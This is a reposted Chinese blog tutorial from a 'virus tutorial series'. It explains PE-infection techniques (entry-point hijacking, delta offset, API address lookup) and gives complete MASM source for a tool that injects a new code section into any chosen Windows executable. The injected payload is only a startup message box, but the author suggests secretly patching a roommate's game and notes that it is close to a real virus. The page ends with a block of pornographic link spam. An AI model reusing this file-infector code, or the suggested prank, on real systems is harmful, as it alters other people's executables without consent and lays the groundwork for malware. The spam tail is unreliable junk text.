• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            牽著老婆滿街逛

            嚴(yán)以律己,寬以待人. 三思而后行.
            GMail/GTalk: yanglinbo#google.com;
            MSN/Email: tx7do#yahoo.com.cn;
            QQ: 3 0 3 3 9 6 9 2 0 .

            為PE文件添加新節(jié)顯示啟動(dòng)信息

            ?

            下載本節(jié)例子程序和源代碼 (7.66 KB)

            病毒并不神秘,也不復(fù)雜。相當(dāng)多的大俠已經(jīng)在這方面作出了杰出的貢獻(xiàn),例如 29A 組織,我對(duì)他們的崇拜之情啊,真是……咳咳,先別扔雞蛋。其實(shí)我想說(shuō)的是:技術(shù)是一柄雙刃劍,我們應(yīng)該把它運(yùn)用在對(duì)社會(huì)有益的事情上。所以請(qǐng)勿利用本文的代碼進(jìn)行違法違紀(jì)的活動(dòng),否則本人保留追究的權(quán)利。

            本文的技術(shù)其實(shí)早已是老掉牙的東西了,so如果你已經(jīng)懂得了編寫(xiě)病毒的方法,請(qǐng)?zhí)^(guò)本文;如果你對(duì)病毒抱有好奇心,但是還沒(méi)知道怎么編寫(xiě),那么本文應(yīng)該適合你。??:)

            言歸正傳。在 Windows 環(huán)境下,所有的可執(zhí)行文件都是 PE 格式,因此編寫(xiě)病毒最重要的環(huán)節(jié)之一就是對(duì) PE 文件進(jìn)行操作。但是在此我不打算對(duì) PE 格式進(jìn)行講解,請(qǐng)讀者自行參考有關(guān)資料。我只對(duì)我在實(shí)際編寫(xiě)中遇到的難點(diǎn)進(jìn)行分析:

            首先,計(jì)算機(jī)病毒之所以叫做病毒,是因?yàn)樗匀唤缰胁《疽粯樱夹枰幸粋€(gè)宿主——它本身是無(wú)法單獨(dú)執(zhí)行的。那么,當(dāng)病毒寄生在宿主上后,怎樣讓它的代碼執(zhí)行呢?我們先來(lái)看一些概念。

            PE 的代碼映象分為幾個(gè) SECTION,在文件中會(huì)對(duì)齊頁(yè)邊界(4K)。一般來(lái)說(shuō),文件會(huì)加載在 400000h 開(kāi)始的空間,而第一個(gè) SECTION 在 401000h 處,同時(shí)入口地址也是 401000h。這個(gè)入口地址 401000h 是怎么計(jì)算出來(lái)的呢?如果你查看 PE 頭的 IMAGE_OPTIONAL_HEADER ,就會(huì)發(fā)現(xiàn)它的 ImageBase 一般是 400000h ,而 AddressOrEntryPoint 一般是 1000h 。 400000 + 1000 = 401000h ,明白了吧?掌握了這一點(diǎn),我們就可以在 PE 中添加我們自己的新節(jié),然后把這個(gè)入口地址改成指向新節(jié)的第一條代碼。當(dāng)新節(jié)執(zhí)行完畢后,再把原入口恢復(fù),這樣一來(lái)就能繼續(xù)執(zhí)行宿主的代碼了。

            在幾乎每個(gè) Win32 病毒的開(kāi)頭都有這樣的語(yǔ)句:

            ????call nStart
            nStart:
            ????popebp
            ????subebp,offset nStart

            這些語(yǔ)句是用來(lái)干嘛的呢?好像是吃飽了飯沒(méi)事干哦……其實(shí)不然。讓我們來(lái)仔細(xì)考慮一下。當(dāng)正常的 PE 程序執(zhí)行時(shí),它的基址(如前所述)一般是 400000h ,這個(gè)地址會(huì)由操作系統(tǒng)為你重定位,因此總是能保證程序被成功地裝載運(yùn)行。但是,如果我們?cè)?PE 中插入了一段新的代碼,假設(shè)它要從 654321h 處開(kāi)始執(zhí)行,那么事情就沒(méi)有那么簡(jiǎn)單了。因?yàn)樗拗鞒绦虿](méi)有預(yù)料到這段代碼的存在,而操作系統(tǒng)也不可能為你修正這個(gè)偏移。因此我們就要自己進(jìn)行重定位操作。上面的語(yǔ)句就是取得病毒在宿主中的實(shí)際偏移地址。Call 指令實(shí)際上是 push 和 jmp 的組合。當(dāng) call nStart 時(shí),實(shí)際上是把 call nStart 的下一條指令(也就是pop ebp)的地址壓入堆棧然后 jmp 到 nStart ,由于之前已經(jīng)把 pop ebp 的地址壓入了堆棧,所以當(dāng)真正執(zhí)行到 pop ebp 這條指令的時(shí)候,實(shí)際上就是把 pop ebp 這條指令的地址放到了 ebp 中。這樣就得到了當(dāng)前病毒代碼的真正的偏移地址。這也是病毒中常用的手法。幾乎無(wú)一例外。

            接下來(lái)還有一個(gè)關(guān)鍵的問(wèn)題。我們的病毒代碼是附屬在宿主上的,如果要在病毒中使用 API ,則必須首先得到 API 的入口地址。不過(guò)這可不是一件容易的事情啊。為什么這樣說(shuō)呢?讓我們先來(lái)看看下面的代碼:

            invoke ExitProcess,0

            在經(jīng)過(guò)編譯器的編譯、連接后,它在內(nèi)存中形如:

            :00401015????Call0040101A
            :0040101A????Jmpdwordptr[00402000]

            也就是說(shuō),ExitProcess 的調(diào)用是通過(guò) Call 0040101A ,而 0040101A 處的代碼是一個(gè) Jmp ,指向 [00402000] ,這個(gè) [00402000] 處儲(chǔ)存的才是真正的 ExitProcess 的入口地址。

            為什么要經(jīng)過(guò)那么多周折呢?呵呵,其實(shí)我也不知道。但是我們知道的是,調(diào)用一個(gè) API 實(shí)際上是調(diào)用它在內(nèi)存中的地址。而病毒由于是在宿主編譯完之后才附屬上去的,所以如果病毒要運(yùn)行 API ,則必須自己指定 API 的入口地址。

            是不是很煩呢?Hoho,堅(jiān)持一下吧,就快大功告成了。

            要得到 API 的入口地址,方法有很多種,例如可以通過(guò)硬編碼,這是比較簡(jiǎn)單的方法,但是它的缺陷是不能在不同的 Windows 版本下運(yùn)行,不過(guò)由于它實(shí)現(xiàn)起來(lái)比較簡(jiǎn)便,因此本文還是采用這種方法。

            在同一個(gè)版本的 Windows 下,同一個(gè)核心函數(shù)的入口總是固定不變的(指由 Kernel32, Gdi32, User32 導(dǎo)出的函數(shù)),所以我們就可以利用下面的方法得到 API 的入口:

            szDllName????????db????"User32",0
            szMessageBoxA????db????"MessageBoxA",0
            MessageBoxA_Addr dd????0

            invoke GetModuleHandle,addr szDllName
            invoke LoadLibrary,addr szDllName
            invoke GetProcAddress,eax,addr szMessageBoxA
            mov MessageBoxA_Addr,eax

            在病毒中我們就可以用 Call MessageBoxA_Addr[ebp] 來(lái)執(zhí)行 MessageBoxA 這個(gè) API 了。

            好啦,我已經(jīng)把我認(rèn)為比較重要的難點(diǎn)解釋了一次了,如果你還有什么不清楚的地方,歡迎給我來(lái)信。lcother at 163 dot net

            下面我給出了一個(gè)例子程序,它的作用是為 PE 文件添加一個(gè)新節(jié)以顯示啟動(dòng)信息。這個(gè)東東會(huì)在 PE 文件的末尾添加一個(gè)新節(jié),我給這個(gè)節(jié)命名為“.LC”,被附加的程序在運(yùn)行的時(shí)候會(huì)先彈出一個(gè)對(duì)話框,顯示我們的提示信息。你可以對(duì)它稍作修改,例如加上自己的版權(quán)信息,然后給 CS 的主程序打上這個(gè)“病毒”,接著……呵呵,等著看舍友的驚訝的目光吧!實(shí)際上只要對(duì)它進(jìn)行一些額外的補(bǔ)充,它就可以算是一個(gè)小小的病毒了。

            值得注意的是,本程序要對(duì)代碼段進(jìn)行寫(xiě)操作(也就是SMC),所以在編譯連接的時(shí)候應(yīng)該這樣做:

            rc Add_Section.rc
            ml /c /coff Add_Section.asm
            link /subsystem:windows /section:.text,RWE Add_Section.res Add_Section.obj

            Have fun!

            ;***********************************************
            ;程序名稱:為PE文件添加新節(jié)顯示啟動(dòng)信息
            ;作者:羅聰
            ;日期:2002-11-10
            ;出處:http://www.luocong.com(老羅的繽紛天地)
            ;本代碼使用了病毒技術(shù),但純粹只用于技術(shù)研究。
            ;切記:請(qǐng)勿用于非法用途!!!!!!
            ;注意事項(xiàng):如欲轉(zhuǎn)載,請(qǐng)保持本程序的完整,并注明:
            ;轉(zhuǎn)載自“老羅的繽紛天地”(http://www.luocong.com)
            ;***********************************************

            .386
            .modelflat,stdcall
            optioncasemap:none

            include \masm32\include\windows.inc
            include \masm32\include\kernel32.inc
            include \masm32\include\user32.inc
            include \masm32\include\comdlg32.inc
            includelib \masm32\lib\kernel32.lib
            includelib \masm32\lib\user32.lib
            includelib \masm32\lib\comdlg32.lib

            WndProc??????????proto:DWORD,:DWORD,:DWORD,:DWORD
            AddNewSection????proto:DWORD

            ;很有用的宏:
            CTEXT????MACRO y:VARARG
            ????LOCAL sym
            ????CONSTsegment
            ????ifidni<y>,<>????????????
            ????????sym db0????????
            ????else????????????
            ????????sym db y,0
            ????endif
            ????CONSTends
            ????exitm<offset sym>
            ENDM

            .const
            IDI_LC?????????? equ????1
            IDC_BUTTON_OPEN??equ????3000
            MAXSIZE??????????equ????260
            Head_Len???????? equ????sizeof IMAGE_NT_HEADERS +sizeof IMAGE_SECTION_HEADER

            .data
            szDlgName????????db????"lc_dialog",0
            szCaption????????db????"Section Add demo by LC",0
            ofn??????????????OPENFILENAME????<>
            szFileName?????? db????MAXSIZE dup(0)
            szFilterString?? db????"PE 可執(zhí)行文件",0,"*.exe",0,0
            szMyTitle????????db????"請(qǐng)打開(kāi)一個(gè)PE可執(zhí)行文件…",0
            PE_Header????????IMAGE_NT_HEADERS????<0>
            My_Section?????? IMAGE_SECTION_HEADER????<>
            szDllName????????db????"User32",0
            szMessageBoxA????db????"MessageBoxA",0

            .data?
            hInstance????????HINSTANCE?????

            .code
            main:
            ????invoke GetModuleHandle, NULL
            ????mov hInstance,eax
            ????invoke DialogBoxParam,eax,offset szDlgName,0, WndProc,0
            ????invoke ExitProcess,eax

            WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

            ????.if uMsg == WM_CLOSE
            ????????invoke EndDialog, hWnd,0

            ????.elseif????uMsg == WM_INITDIALOG
            ????????;設(shè)置我的圖標(biāo):
            ????????invoke LoadIcon, hInstance, IDI_LC
            ????????invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL,eax

            ????.elseif uMsg == WM_COMMAND
            ????????moveax, wParam
            ????????movedx,eax
            ????????shredx,16
            ????????movzxeax,ax
            ????????.ifedx== BN_CLICKED
            ????????????.ifeax== IDCANCEL
            ????????????????invoke EndDialog, hWnd, NULL
            ????????????.elseifeax== IDC_BUTTON_OPEN ||eax== IDOK
            ????????????????;調(diào)用子程序,添加節(jié):
            ????????????????invoke AddNewSection, hWnd
            ????????????.endif
            ????????.endif
            ????.else
            ????????moveax, FALSE
            ????????ret
            ????.endif
            ????moveax, TRUE
            ????ret
            WndProc endp

            AddNewSection procusesecx hWnd:HWND
            ????LOCAL hFile: HANDLE
            ????LOCAL dwPE_Header_OffSet:DWORD
            ????LOCAL dwFileReadWritten:DWORD
            ????LOCAL dwMySectionOffSet:DWORD
            ????LOCAL dwLastSection_SizeOfRawData:DWORD
            ????LOCAL dwLastSection_PointerToRawData:DWORD

            ????;“打開(kāi)文件”對(duì)話框:
            ????mov ofn.lStructSize,sizeof ofn
            ????push hWnd
            ????pop ofn.hwndOwner
            ????push hInstance
            ????pop ofn.hInstance
            ????mov ofn.lpstrFilter,offset szFilterString
            ????mov ofn.lpstrFile,offset szFileName
            ????mov ofn.nMaxFile, MAXSIZE
            ????mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER
            ????mov ofn.lpstrTitle,offset szMyTitle
            ????invoke GetOpenFileName,addr ofn

            ????;如果沒(méi)有選擇文件名則退出:
            ????.ifeax==0
            ????????jmp Err_CreateFile_Exit
            ????.endif

            ????;打開(kāi)文件:
            ????invoke CreateFile,addr szFileName, GENERIC_READ or GENERIC_WRITE,\
            ????????????FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
            ????.ifeax== INVALID_HANDLE_VALUE
            ????????invoke MessageBox, hWnd, CTEXT("打開(kāi)文件失敗!"),addr szCaption, MB_OK or MB_ICONHAND
            ????????jmp Err_CreateFile_Exit
            ????.endif
            ????mov hFile,eax

            ????;****************************************
            ????;讀取PE文件頭:
            ????;****************************************
            ????invoke SetFilePointer, hFile,3ch,0, FILE_BEGIN
            ????invoke ReadFile, hFile,addr dwPE_Header_OffSet,4,addr dwFileReadWritten, NULL
            ????invoke SetFilePointer, hFile, dwPE_Header_OffSet,0, FILE_BEGIN
            ????invoke ReadFile, hFile,addr PE_Header, Head_Len,addr dwFileReadWritten, NULL

            ????;****************************************
            ????;判斷是否有效的PE文件,是的話才繼續(xù):
            ????;****************************************
            ????.if[PE_Header.Signature]!= IMAGE_NT_SIGNATURE
            ????????;如果不是有效的PE文件,就給出提示:
            ????????invoke MessageBox, hWnd, CTEXT("這不是一個(gè)有效的Win32 PE文件!"),addr szCaption, MB_OK or MB_ICONHAND
            ????????jmpExit
            ????.endif

            ????;****************************************
            ????;判斷是否有足夠空間存儲(chǔ)新節(jié):
            ????;****************************************
            ????movzxeax,[PE_Header.FileHeader.NumberOfSections]????;得到添加新節(jié)前有多少個(gè)節(jié):
            ????movecx,28h????;28h = sizeof IMAGE_SECTION_HEADER
            ????mulecx???????? ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
            ????addeax, dwPE_Header_OffSet????;eax = eax + PE文件頭偏移
            ????addeax,18h????;18h = sizeof IMAGE_FILE_HEADER
            ????movzxecx,[PE_Header.FileHeader.SizeOfOptionalHeader]
            ????addeax,ecx????;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
            ????addeax,28h????;添加一個(gè)新節(jié)的大小
            ????.ifeax>[PE_Header.OptionalHeader.SizeOfHeaders]
            ????????;不夠的話給出提示:
            ????????invoke MessageBox, NULL, CTEXT("沒(méi)有足夠的空間來(lái)加入一個(gè)新節(jié)!"),addr szCaption, MB_OK or MB_ICONHAND
            ????????jmpExit
            ????.endif

            ????;****************************************
            ????;保存原入口,后面要用到:
            ????;****************************************
            ????moveax,[PE_Header.OptionalHeader.AddressOfEntryPoint]
            ????mov Old_AddressOfEntryPoint,eax
            ????moveax,[PE_Header.OptionalHeader.ImageBase]
            ????mov Old_ImageBase,eax

            ????;**************************************************
            ????;計(jì)算新節(jié)的偏移地址:
            ????;(其實(shí)跟上面的“判斷是否有足夠空間存儲(chǔ)新節(jié)”基本上一樣)
            ????;**************************************************
            ????movzxeax,[PE_Header.FileHeader.NumberOfSections]
            ????movecx,28h
            ????mulecx????????????;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
            ????addeax,4h????????;4h = sizeof "PE\0\0"
            ????addeax, dwPE_Header_OffSet
            ????addeax,sizeof IMAGE_FILE_HEADER
            ????addeax,sizeof IMAGE_OPTIONAL_HEADER
            ????mov dwMySectionOffSet,eax????;現(xiàn)在得到了我們的新節(jié)的偏移地址

            ????;****************************************
            ????;填充我們自己的節(jié)的信息:
            ????;(這部分請(qǐng)查看PE格式,很容易明白,不多說(shuō)了)
            ????;****************************************
            ????movdwordptr[My_Section.Name1],"CL."????;名字就叫做“.LC”吧,呵呵……
            ????mov[My_Section.Misc.VirtualSize],offset vEnd -offset vStart
            ????push[PE_Header.OptionalHeader.SizeOfImage]
            ????pop[My_Section.VirtualAddress]
            ????moveax,[My_Section.Misc.VirtualSize]
            ????movecx,[PE_Header.OptionalHeader.FileAlignment]
            ????cdq
            ????divecx
            ????inceax
            ????mulecx
            ????mov[My_Section.SizeOfRawData],eax??;SizeOfRawData在EXE文件中是對(duì)齊到FileAlignMent的整數(shù)倍的值
            ????moveax, dwMySectionOffSet
            ????subeax,18h????;這個(gè)偏移是定位到最后一節(jié)的“SizeOfRawData”
            ????invoke SetFilePointer, hFile,eax,0, FILE_BEGIN
            ????invoke ReadFile, hFile,addr dwLastSection_SizeOfRawData,4,addr dwFileReadWritten, NULL
            ????invoke ReadFile, hFile,addr dwLastSection_PointerToRawData,4,addr dwFileReadWritten, NULL
            ????;每個(gè)節(jié)的 PointerToRawData 等于它的上一節(jié)的 SizeOfRawData + PointerToRawData:
            ????moveax, dwLastSection_SizeOfRawData
            ????addeax, dwLastSection_PointerToRawData
            ????mov[My_Section.PointerToRawData],eax
            ????mov[My_Section.PointerToRelocations],0h
            ????mov[My_Section.PointerToLinenumbers],0h
            ????mov[My_Section.NumberOfRelocations],0h
            ????mov[My_Section.NumberOfLinenumbers],0h
            ????mov[My_Section.Characteristics],0E0000020h????;可讀可寫(xiě)可執(zhí)行

            ????;**************************************************
            ????;重新寫(xiě)入IMAGE_SECTION_HEADER:(包含了新節(jié)的信息)
            ????;**************************************************
            ????invoke SetFilePointer, hFile, dwMySectionOffSet,0, FILE_BEGIN
            ????invoke WriteFile, hFile,addr My_Section,sizeof IMAGE_SECTION_HEADER,addr dwFileReadWritten, NULL

            ????;****************************************
            ????;得到 MessageBoxA 的線性地址:
            ????;****************************************
            ????invoke GetModuleHandle,addr szDllName
            ????invoke LoadLibrary,addr szDllName
            ????invoke GetProcAddress,eax,addr szMessageBoxA
            ????mov MessageBoxA_Addr,eax

            ????;****************************************
            ????;在文件的最后寫(xiě)入我們的新節(jié):
            ????;****************************************
            ????invoke SetFilePointer, hFile,0,0, FILE_END
            ????push0
            ????leaeax, dwFileReadWritten
            ????pusheax
            ????push[My_Section.SizeOfRawData]
            ????leaeax, vStart
            ????pusheax
            ????push hFile
            ????call WriteFile

            ????;**************************************************
            ????;改寫(xiě)IMAGE_NT_HEADERS,使新節(jié)可以首先執(zhí)行:
            ????;(需要改寫(xiě) SizeOfImage 和 AddressOfEntryPoint)
            ????;**************************************************
            ????inc[PE_Header.FileHeader.NumberOfSections]
            ????moveax,[My_Section.Misc.VirtualSize]
            ????movecx,[PE_Header.OptionalHeader.SectionAlignment]
            ????cdq
            ????divecx
            ????inceax
            ????mulecx
            ????addeax,[PE_Header.OptionalHeader.SizeOfImage]
            ????mov[PE_Header.OptionalHeader.SizeOfImage],eax????;SizeOfImage是一個(gè)對(duì)齊到SectionAlignment的整數(shù)倍的值
            ????moveax,[My_Section.VirtualAddress]
            ????mov[PE_Header.OptionalHeader.AddressOfEntryPoint],eax;現(xiàn)在的 AddressOfEntryPoint 是指向新節(jié)的第一條指令
            ????invoke SetFilePointer, hFile, dwPE_Header_OffSet,0, FILE_BEGIN
            ????invoke WriteFile, hFile,addr PE_Header,sizeof IMAGE_NT_HEADERS,addr dwFileReadWritten, NULL

            ????;****************************************
            ????;完成!顯示成功信息:
            ????;****************************************
            ????invoke MessageBox, hWnd, CTEXT("添加新節(jié)成功!"),addr szCaption, MB_OK or MB_ICONINFORMATION

            Exit:
            ????;關(guān)閉文件:
            ????invoke CloseHandle, hFile
            Err_CreateFile_Exit:
            ????ret
            AddNewSection endp

            ;****************************************
            ;呵呵,我們自己的東東:(像不像病毒?)
            ;****************************************
            vStart:
            ????call nStart
            nStart:
            ????popebp
            ????subebp,offset nStart????;得到新節(jié)在文件中的實(shí)際偏移地址

            ????;顯示對(duì)話框:
            ????push MB_OK or MB_ICONINFORMATION
            ????leaeax, szMyCaption[ebp]
            ????pusheax
            ????leaeax, szMyMsg[ebp]
            ????pusheax
            ????push0
            ????call MessageBoxA_Addr[ebp]

            ????;恢復(fù)原入口地址。當(dāng)這個(gè)節(jié)執(zhí)行完畢后,就回到了原來(lái)的文件入口處繼續(xù)執(zhí)行:
            ????moveax, Old_ImageBase[ebp]
            ????addeax, Old_AddressOfEntryPoint[ebp]
            ????pusheax
            ????ret

            ????;變量定義:
            ????MessageBoxA_Addr????????dd????0
            ????szMyMsg???????????????? db????"為PE文件添加新節(jié)顯示啟動(dòng)信息",13,10,13,10,\
            ??????????????????????????????????"老羅的繽紛天地",13,10,"http://www.LuoCong.com",0
            ????szMyCaption???????????? db????"老羅的病毒基礎(chǔ)教程系列 by LC",0
            ????Old_ImageBase?????????? dd????0
            ????Old_AddressOfEntryPoint dd????0
            vEnd:

            end main
            ;********************????over????********************
            ;by LC


            它的資源文件:

            #include "resource.h"

            #define IDC_STATIC????????-1
            #define IDI_LC????????????1
            #define IDC_BUTTON_OPEN?? 3000

            IDI_LC????ICON????"lc.ico"

            LC_DIALOG DIALOGEX 10, 10, 195, 115
            STYLE DS_SETFONT | DS_CENTER | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
            CAPTION "Section Add demo by LC, 2002-11-10"
            FONT 9, "宋體", 0, 0, 0x0
            BEGIN
            ????GROUPBOX???????? "Info", IDC_STATIC, 5, 5, 185, 75
            ????CTEXT????????????"- 為PE文件添加新節(jié)顯示啟動(dòng)信息 -", IDC_STATIC, 10, 20, 175, 10
            ????CTEXT????????????"-= Virus Tutorial Series =-", IDC_STATIC, 10, 30, 175, 10
            ????CTEXT????????????"老羅的繽紛天地", IDC_STATIC, 10, 50, 175, 10
            ????CTEXT????????????"www.LuoCong.com", IDC_STATIC, 10, 60, 175, 10
            ????DEFPUSHBUTTON????"打開(kāi)文件(&O)",IDC_BUTTON_OPEN, 70, 90, 55, 15, BS_FLAT | BS_CENTER
            END

            老羅
            2002-11-10

            posted on 2006-05-08 17:48 楊粼波 閱讀(412) 評(píng)論(0)  編輯 收藏 引用 所屬分類(lèi): 文章收藏

            久久丫精品国产亚洲av不卡| 亚洲国产成人久久综合区| 人妻无码久久精品| 18禁黄久久久AAA片| 囯产极品美女高潮无套久久久 | 97久久超碰国产精品旧版| 国产成人精品久久二区二区| 国产精品伦理久久久久久| 欧美亚洲国产精品久久高清| 精品免费久久久久久久| 久久人妻少妇嫩草AV无码蜜桃| 久久亚洲国产成人影院| 99久久精品国产麻豆| 午夜精品久久久久成人| 狠狠色丁香久久综合五月| 亚洲人成电影网站久久| 精品国产91久久久久久久| 午夜肉伦伦影院久久精品免费看国产一区二区三区 | 97久久精品人人澡人人爽| 久久久久波多野结衣高潮| 久久精品国内一区二区三区| 久久久国产打桩机| 激情五月综合综合久久69| 日产精品久久久久久久| 中文成人无码精品久久久不卡 | 亚洲午夜久久久久久噜噜噜| 激情久久久久久久久久| 久久99国产精品久久99| 国产精品一久久香蕉产线看| 精品国产乱码久久久久久呢| 亚洲国产成人精品91久久久| 亚洲国产天堂久久综合网站| 丁香狠狠色婷婷久久综合| 亚洲精品高清国产一线久久| 久久亚洲国产精品成人AV秋霞| 精品久久久无码中文字幕天天| 国产精品视频久久久| avtt天堂网久久精品| 久久精品国产亚洲AV电影| 一本色综合网久久| 午夜精品久久久久久中宇|